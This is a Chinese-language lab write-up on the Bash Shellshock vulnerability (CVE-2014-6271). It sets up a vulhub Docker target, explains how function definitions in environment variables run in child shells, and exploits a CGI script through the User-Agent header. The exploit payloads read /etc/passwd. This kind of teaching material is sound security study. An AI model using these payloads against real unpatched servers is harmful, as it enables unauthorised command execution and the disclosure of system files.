漏洞簡介
GNU Bash 4.3及之前版本在評估某些構造的環境變量時存在安全漏洞,向環境變量值內的函數定義后添加多余的字符串會觸發此漏洞,攻擊者可利用此漏洞改變或繞過環境限制,以執行Shell命令。某些服務和應用允許未經身份驗證的遠程攻擊者提供環境變量以利用此漏洞。此漏洞源於在調用Bash Shell之前可以用構造的值創建環境變量。這些變量可以包含代碼,在Shell被調用后會被立即執行。
這個漏洞的英文是:ShellShock,中文名被XCERT命名為:破殼漏洞。
該漏洞在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均擁有存在CVE-2014-6271(即“破殼”漏洞)漏洞的Bash版本,同時由於Bash在各主流操作系統的廣泛應用,此漏洞的影響范圍包括但不限於大多數應用Bash的Unix、Linux、Mac OS X,而針對這些操作系統管理下的數據均存在高危威脅。
漏洞的利用方式會通過與Bash交互的多種應用展開,包括HTTP、OpenSSH、DHCP等
環境部署
安裝部署vulhub
環境:https://www.cnblogs.com/Cl0ud/p/14195114.html
進入vulhub
文件夾
進入bash
文件夾下的shellshock
執行命令啟動docker
docker-compose up -d
服務起在8080
端口
本地漏洞檢測
進入docker
容器
payload
為: env x='() { :;}; echo shellshocked' bash –c "echo hi"
如果輸出shellshocked
則表示存在漏洞
本地漏洞檢測POC分析
口語化闡釋一下漏洞原理:父進程中的特殊變量字符串(這里指字符串內容為函數)成為環境變量后,在子進程中調用該字符串時將其理解為函數執行
在shell
中函數定義:https://www.runoob.com/linux/linux-shell-func.html
#!/bin/bash
# author:菜鳥教程
# url:www.runoob.com
demoFun(){
echo "這是我的第一個 shell 函數!"
}
echo "-----函數開始執行-----"
demoFun
echo "-----函數執行完畢-----"
在shell
中定義變量
springbird="hi"
使用echo
輸出
然后開啟以后新的進程后,可以看到$springbird
變量沒有繼承到子進程中來
那么我們怎么樣才能在子進程中使用父進程的變量呢?(自問自答)
可以將變量存儲到環境變量中,這樣就可以在父子進程中一起使用該變量了
我們使用export
命令將其設置為環境變量,export
簡介:https://www.runoob.com/linux/linux-comm-export.html
如圖:
可以看到設置環境變量后子進程也能夠使用該變量了
這個時候我們設置一個函數作為環境變量
x(){ echo "test"; }
如圖
可以看到子進程中也能成功執行該函數
這時候我們改變一點點
創建字符串環境變量springbird
export springbird='() { cat /etc/passwd;}'
注意:
()
和{
之間有空格
可以看到我們創建的字符串變量被設置成環境變量后在子進程解釋成了函數執行,成功讀取了 /etc/passwd
所以觸發並利用破殼漏洞的所需要的幾點:
- 被攻擊的bash存在漏洞(版本小於等於4.3)
- 攻擊者可以控制環境變量
- 新的bash進程被打開觸發漏洞並執行命令
從上面的分析中可以看出,漏洞的根本原因存在於Bash的ENV命令實現上,因此漏洞本身是不能夠直接導致遠程代碼執行的。如果要達到遠程代碼執行的目的,必須借助第三方服務程序作為媒介才能夠實現,第三方服務程序也必須要滿足眾多條件才可以充當此媒介的角色。
漏洞原理
該Bash
使用的環境變量是通過函數名稱來調用的,導致漏洞出問題是以(){
開頭定義的環境變量在命令ENV
中解析成函數后,Bash
執行並未退出,而是繼續解析並執行shell命令。而其核心的原因在於在輸入的過濾中沒有嚴格限制邊界,也沒有做出合法化的參數判斷。
偷圖:
插曲
訪問靶場的漏洞文件時出現了500 Internal Server Error
的錯誤,即訪問http://靶場地址/victim.cgi
時報錯
進入容器內部
docker exec -it 6d40 bash
查看apache2
的error.log
發現錯誤為權限不足:
[cgid:error] [pid 69:tid 140543753557888] (13)Permission denied: AH01241: exec of '/var/www/html/victim.cgi' failed
修改其權限為755
即可
chmod 755 victim.cgi
漏洞利用
按照前面分析的漏洞原理,此處構造讀取/etc/passwd
的payload
() { :; }; echo; /bin/cat /etc/passwd
可以看到打出了passwd
還有一個問題
但是我們在victim.cgi
文件里面並沒有看到調用環境變量,我們從User-agent
里面打過去的payload
為什么就生效了
在這篇博文中提到:https://www.guildhab.top/?p=1805
CGI腳本會繼承系統的環境變量。CGI環境變量在CGI程序啟動時初始化,在結束時銷毀。
當一個CGI腳本未被HTTP服務器調用時,它的環境變量幾乎是系統環境變量的復制,當這個CGI腳本被HTTP服務器調用時,它的環境變量就會增加關於HTTP服務器,客戶端,CGI傳輸過程等條目
也就是說,每當CGI腳本接收到一次HTTP請求,它的環境變量就會新增一些條目,比如User-agent
,Connection
等信息
所以這里我們通過修改User-Agent
來修改CGI環境變量
漏洞利用場景
- 程序在某一時刻使用 bash 作為腳本解釋器處理環境變量賦值
- 環境變量的賦值字符串來源於用戶輸入 , 且沒有通過有效的過濾